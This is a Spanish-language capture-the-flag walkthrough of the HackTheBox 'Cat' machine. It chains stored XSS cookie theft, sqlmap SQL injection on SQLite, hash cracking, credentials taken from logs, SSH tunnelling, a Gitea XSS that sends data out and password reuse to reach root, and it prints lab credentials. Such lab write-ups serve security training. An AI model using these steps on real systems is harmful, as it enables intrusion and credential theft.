> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md). # Informe de HackTheBox de Cat Informe de HackTheBox de Cat para una máquina Linux de dificultad media que cubre fuzzing de directorios (archivo .git), análisis de código fuente (volcado del repositorio Git), explotación de XSS almacenado y secuestro de sesión, inyección SQL (SQLite) usando {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Fuzzing de directorios (archivo .git) * Análisis de código fuente (volcado del repositorio Git) * Explotación de XSS almacenado y secuestro de sesión * Inyección SQL (SQLite) usando sqlmap * Cracking de hashes de contraseñas * Reenvío de puertos vía SSH * Explotación de Gitea (v1.22.0) – XSS almacenado * Exfiltración de datos sensibles mediante cargas útiles XSS {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts ```

Escaneo de versiones de puertos con Nmap: Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted": ```purebasic nmap -sCV -p22,80 10.10.11.53 -oN targeted ```

Para resolver nombres de dominio en direcciones IP mediante DNS, insertamos el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo:

### Puerto 80 - HTTP

Al acceder a `http://cat.htb` sitio, encontrarás un formulario de registro.

También notamos una funcionalidad de votación.

**Fuzzing de directorios** Ejecutamos `gobuster` para descubrir rutas ocultas: ```bash gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php ```

Esto revela varios archivos interesantes, incluido un `.git` directorio.

**volcado del repositorio Git** Usamos `git-dumper` para recuperar el contenido del repositorio: ```bash git-dumper http://cat.htb/.git git ```

Al inspeccionar el código fuente, identificamos una **vulnerabilidad SQL** así como una posibilidad de **XSS almacenado**.

## Vulnerabilidad XSS La aplicación acepta *nombre de usuario* y *correo electrónico* campos sin el filtrado adecuado. Esto permite la inyección de scripts maliciosos.

**Carga útil XSS** Creamos un usuario con el siguiente nombre: ```javascript ``` **Obtención de la cookie del administrador** Escuchamos en el puerto 8081: ```bash python -m http.server 8081 ```

Una vez capturada la cookie, obtenemos la sesión del administrador:

Modificamos nuestra cookie de sesión por la del administrador y accedemos a la **consola de administración**.

## Inyección SQL (SQLite)

Con acceso de administrador, inicia `sqlmap` en un formulario vulnerable {% code overflow="wrap" %} ```bash sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10 ``` {% endcode %}

**Recuperación de hashes** Obtenemos las credenciales de los usuarios **hashes de contraseñas**. Aquí hay algunos ejemplos: ``` d1bbba3670feb9435c9841e46e60ee2f ac369922d560f17d6eeb8b2c7dec498c 42846631708f69c00ec0c0a8aa4a92ad 39e153e825c4a3d314a0dc7f7475ddbe 781593e060f8d065cd7281c5ec5b4b86 1b6dce240bbfbc0905a664ad199e18f8 c598f6b844a36fa7836fba0835f1f6 e41ccefa439fc454f7eadbf1f139ed8a 24a8ec003ac2e1b3c5953a6f95f8f565 88e4dceccd48820cf77b5cf6c08698ad ``` **Cracking de contraseñas** Usando [CrackStation](https://crackstation.net/), identificamos con éxito la contraseña del usuario `rosa`: {% embed url="" %}

* **nombre de usuario** : rosa * **contraseña** : soyunaprincesarosa Conexión SSH con las credenciales obtenidas: ```bash ssh rosa@cat.htb ```

### Pivotaje del usuario Axel #### Enumeración con LinPEAS: ```bash ./linpeas.sh ``` {% embed url="" %} Rosa está en el `adm` grupo, acceso a: ```bash cat /var/log/apache2/access.log | grep "axel" ```

Credenciales encontradas: * Nombre de usuario: axel * Contraseña : aNdZwgC4tI9gnVXv/\_e3Q

### Bandera user.txt :)

## Escalada de privilegios ### Descubrimiento de puertos internos: ```bash netstat -tuln ``` * **Node.js** (puerto 3000) * **SMTP** (587, 25) Servicios identificados

#### Reenvío de puertos ```bash sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 axel@cat.htb ``` ### Vulnerabilidad XSS en Gitea v1.22.0 En `http://localhost:3000` -> **Gitea** está accesible.

Inicia sesión con las credenciales de Axel.

Vulnerabilidad XSS conocida.

Creamos un proyecto con una descripción que contiene: ```bash XSS test ```

* Resultado:

### Correo interceptado mediante LinPEAS

Contenido del correo: * jobert\@localhost debe revisar el repositorio de Gitea

Enviamos un enlace XSS que contiene un script de exfiltración que lee el contenido de la `index.php` página del repositorio de Gitea, lo codifica en Base64 y luego lo envía a nuestro servidor web {% code overflow="wrap" %} ```bash PWNED ``` {% endcode %}

#### A través de nuestro servidor web ```bash python -m http.server 8080 ```

#### Contenido exfiltrado (decodificado en base64): ```bash echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d ``` * $valid/\_username = 'admin'; * $valid/\_password = 'IKw75eR0MR7CMIxhH0';

#### Escalada a root Hay reutilización de credenciales para el usuario root ```bash su root ```

### Bandera root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.